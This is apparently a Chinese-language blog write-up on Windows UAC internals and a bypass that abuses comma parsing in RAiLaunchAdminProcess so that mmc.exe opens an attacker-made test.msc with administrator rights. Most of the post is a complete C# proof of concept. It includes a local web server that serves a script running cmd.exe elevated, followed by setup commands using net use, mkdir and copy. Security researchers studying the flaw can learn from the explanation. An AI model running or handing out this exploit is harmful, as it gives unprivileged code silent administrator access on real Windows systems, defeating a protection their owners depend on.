Alpc+mmc.exe Bypass Uac Fay·D·Flourite

alpc+mmc.exe bypass UAC

UAC工作流程

来源其他dalao的逆向过程:传送门

我大致做个简述

UAC的服务来自于Appinfo.dll,对应由svchost.exe启动的appinfo.exe这个系统进程

如下行为会触发UAC验证,并弹出consent.exe询问是否提权:

  • 配置Windows Update
  • 增加或删除用户账户
  • 改变用户的账户类型
  • 改变UAC设置
  • 安装ActiveX
  • 安装或移除程序
  • 安装设备驱动程序
  • 设置家长控制
  • 将文件移动或复制到Program Files或Windows目录
  • 查看其他用户文件夹

管理员有两份权限令牌,一般情况是用普通用户权限令牌,而在同意了UAC验证后则会换用管理员权限令牌。

为了某些应用开启能自提权限,在vista后加入了两段认证,两段认证均通过则可以不用手动授权自提权(仍然会唤起consent.exe

appinfo中的两段验证机制分别如下

  1. 可信路径验证

主要判断是否来自c:\Windows\System32,c:\Windows\SysWoW64,或至少来自c:\windows,通过验证后会给与不同的值,用于二段验证

  1. 可信名称匹配

先验证一阶段的值是否达到标准,不达到标准会直接放弃验证,然后是验证过程,先验证进程的静态内容中的manifes.xml是否配置好autoElevate为true,为true直接通过,没有则继续判断进程名是否在白名单中并验证能否通过AipIsValidAutoApprovalEXE验证进程的签名

匹配完成后就会尝试用系统权限唤起consent.exe(通过两个验证不会弹窗)

弹窗yes后再用复制好的高权限token生成需要的高权限进程,完成流程

UAC白名单

白名单能通过第二段验证不用经过UAC检测,这些应用都在代码Appinfo.dll的代码里

其中mmc除了在二段验证白名单内,自己还有一套特别的流程,也就是mmc.exe还有一个白名单验证欲执行的msc文件是否在白名单内,如果在则跳过UAC认证。

bypass流程

大体流程如下:

首先我们需要执行mmc.exe并携带白名单中的名称作为参数,可以跳过UAC检测,创建一个msc文件用于web地址的连接,还需要一个html文件启动cmd.exe

执行选用RAiLaunchAdminProcess(),这个函数来自于appinfo.exe中,也就是UAC验证的入口函数,由他引起后面一系列UAC验证,需要作为rpc客户端调用服务端执行。

同时也需要注意关键的第二个参数"XXX,wf.msc \"\\\\127.0.0.1\\C$\\testmscdir\\test.msc\"";

如果在命令行中直接执行mmc XXX,wf.msc "\\127.0.0.1\C$\testmscdir\test.msc\"会发现其实是执行不了的,会提示不能打开文件XXX,wf.msc,文件不存在,这其实是因为在UAC验证过程中用于解析命令行的命令会错误的解析逗号,导致验证mmc后验证到wf.msc进而通过二段验证,不用弹窗提示是否提权,同时在mmc.exe中封装的解析命令行不会错误解析逗号,进而导致mmc实际执行目标是后面的路径。

执行后就绕过了uac用管理员权限打开了test.msc。

test.msc是我们通过mmc.exe创建的一个msc文件,用于web连接,可以看到,单独打开test.msc其实是在mmc中连接到指定web服务(mmc也有不少关于这个的cve,有关xss,xxe)。

我们通过socket创建一个web服务,用于和test.msc文件交互。传送执行命令行cmd.exe的script至管理员权限的test.msc中,就通过test.msc打开了管理员权限的命令行

以下为自己用c#复现的poc:

using NtApiDotNet;
using NtApiDotNet.Ndr.Marshal;
using NtApiDotNet.Win32;
using rpc_201ef99a_7fa0_444c_9399_19ba84f12a1a_1_0;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.ServiceProcess;
using System.Text;
using System.Threading;

namespace bypassUAC_alpc
{
    class Program
    {
        [Flags]
        enum StartFlags
        {
            None = 0,
            RunAsAdmin = 0x1,
            Unknown02 = 0x2,
            Unknown04 = 0x4,
            Wow64Path = 0x8,
            Unknown10 = 0x10,
            Unknown20 = 0x20,
            Unknown40 = 0x40,
            Untrusted = 0x80,
            CentennialElevation = 0x200,
        }

        [DllImport("User32.dll")]
        static extern IntPtr GetDesktopWindow();



        static NtProcess LaunchAdminProcess(string executable, string cmdline, StartFlags flags, CreateProcessFlags create_flags, string desktop)
        {
            StartAppinfoService();

            using (Client client = new Client())
            {
                client.Connect();
                create_flags |= CreateProcessFlags.UnicodeEnvironment;
                Struct_0 start_info = new Struct_0();
                int retval = client.RAiLaunchAdminProcess(executable, cmdline, (int)flags, (int)create_flags,
                    @"c:\windows", desktop, start_info, new NdrUInt3264(GetDesktopWindow()),
                    -1, out Struct_2 proc_info, out int elev_type);
                if (retval != 0)
                {
                    throw new Win32Exception(retval);
                }

                using (var thread = NtThread.FromHandle(new IntPtr(proc_info.Member8.Value)))
                {
                    return NtProcess.FromHandle(new IntPtr(proc_info.Member0.Value));
                }
            }
        }

        static void StartAppinfoService()
        {
            try
            {
                ServiceController service = new ServiceController("appinfo");
                if (service.Status != ServiceControllerStatus.Running)
                {
                    service.Start();
                    service.WaitForStatus(ServiceControllerStatus.Running, TimeSpan.FromSeconds(5));
                }
            }
            catch
            {
            }
        }

        /*
         * RAiLaunchAdminProcess(
            handle,                                                   handle
            L"C:\\Windows\\System32\\mmc.exe",                        执行路径  
            L"XXX,wf.msc \"\\\\127.0.0.1\\C$\\gweeperx\\test.msc\"",  执行命令  *
            0x1,                                                      StartFlag  1是管理员0是当前用户
            0x00000400,                                               CreateFlag
            L"D:\\",                                                  当前目录
            L"WinSta0\\Default",                                      WindowsStation
            &StructMember0,                                           Struct APP_STARTUP_INFO
            0,                                                        HWND
            0xffffffff,                                               Timeout
            &Struct_56,                                               Struct APP_PROCESS_INFORMATION
            &arg_12                                                   ElevationType
        );
        */

        public static void OpenWebServer() {
            Socket socketWatch = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
            socketWatch.Bind(new IPEndPoint(IPAddress.Parse("127.0.0.1"), 2332));
            socketWatch.Listen(20); 

            Socket socket = socketWatch.Accept();

            byte[] data = new byte[1024 * 1024 * 4];
            System.Threading.Thread.Sleep(1000);
            int sizenum = socket.Available;
            Console.WriteLine(sizenum);
            int length = socket.Receive(data, 0, sizenum, SocketFlags.None);

            
            string requestText = Encoding.UTF8.GetString(data, 0, length);
            Console.WriteLine(requestText);
            byte[] body = Encoding.UTF8.GetBytes("<html><head><script>external.ExecuteShellCommand(\"cmd.exe\",\"C:\",\"\",\"Restored\");</script></head></html>");
            //byte[] head = Encoding.UTF8.GetBytes("HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n\n");
            //socket.Send(head);
            socket.Send(body);
                //i = i + 1;

            socket.Shutdown(SocketShutdown.Both);
            socket.Close();

        }

        static void Main(string[] args)
        {
            try
            {
                StartFlags flags = StartFlags.RunAsAdmin;
                List<string> cmds = new List<string>(args);

                string executable = "C:\\Windows\\System32\\mmc.exe";
                string commandline = "XXX,wf.msc \"\\\\127.0.0.1\\C$\\testmscdir\\test.msc\"";
                
                using (var proc = LaunchAdminProcess(executable, commandline, flags, CreateProcessFlags.UnicodeEnvironment, @"WinSta0\Default"))
                {
                    Console.WriteLine("Start process {0}", proc.ProcessId);
                    Console.WriteLine("Granted Access: {0}", proc.GrantedAccess);
                }
                OpenWebServer();
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex);
            }

        }
    }
}

过程为

  • net use \\127.0.0.1\c$ 为了能在commandline参数中使用unc路径连接到我们的msc文件
  • mkdir c:\testmscdir 同上,只要和commandline参数保持一致即可
  • copy test.msc c:\testmscdir 复制过去
  • 执行程序